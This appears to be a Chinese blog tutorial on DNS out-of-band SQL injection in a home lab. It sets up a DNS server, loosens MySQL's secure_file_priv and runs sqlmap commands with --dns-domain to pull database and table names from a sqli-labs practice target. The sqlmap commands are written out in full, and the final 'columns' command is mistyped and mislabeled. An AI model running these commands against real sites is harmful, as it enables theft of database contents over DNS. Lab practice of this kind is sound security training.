DNS外带注入SQLMAP

本文介绍了如何在Kali Linux和Windows环境中配置SQLMap进行DNS注入测试。首先,详细讲解了设置Windows 2008 R2 DNS服务器的步骤,并提供了下载链接。接着,通过设置MySQL的secure_file_priv参数,允许读取磁盘文件。然后,通过在Kali中使用tcpdump验证DNS服务器配置成功。最后,展示了如何利用SQLMap进行外带DNS注入,包括取库、获取表和列的命令。这是一个针对SQL注入和DNS隧道技术的实际操作指南。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一.实验环境

1.kali(使用sqlmap)
2.windows10(靶机)
3.windows 2008 R2 ( 需要设置dns服务器)下载镜像地址: https://msdn.itellyou.cn/

设置mysql

secure_file_priv为空,就可以读取磁盘的目录
secure_file_priv为D:\,就可以读取D盘的文件
secure_file_priv为null,load_file就不能加载文件
添加一句secure_file_priv=""
在这里插入图片描述

在这里插入图片描述

设置dns服务器

在这里插入图片描述
上面服务器这里填kali的ip,下面是主机首选dns服务器填服务器的ip
在这里插入图片描述

kali输入tcpdump -n port 53ping通有数据包就说明成功(如果ping不通服务器的ip的话就关掉防火墙)
在这里插入图片描述
在这里插入图片描述
也填kali的ip

二.SQLMap使用外带dns注入

取库

输入sqlmap -u "http://192.168.10.195/sqli-labs-master/Less-8/?id=1" --technique=T --dns-domain "hxp1.top" --dbs

在这里插入图片描述

获取表

kali输入sqlmap -u "http://192.168.10.195/sqli-labs-master/Less-8/?id=1" --technique=T --dns-domain "hxp1.top" -D security --tables
在这里插入图片描述

获取到列

输入sqlmap -u "http://192.168.10.195/sqli-labs-master/Less-8/?id=1" --technique=T --dns-domaim "hxp1.top" --dbs
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

朵拉不会敲代码

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值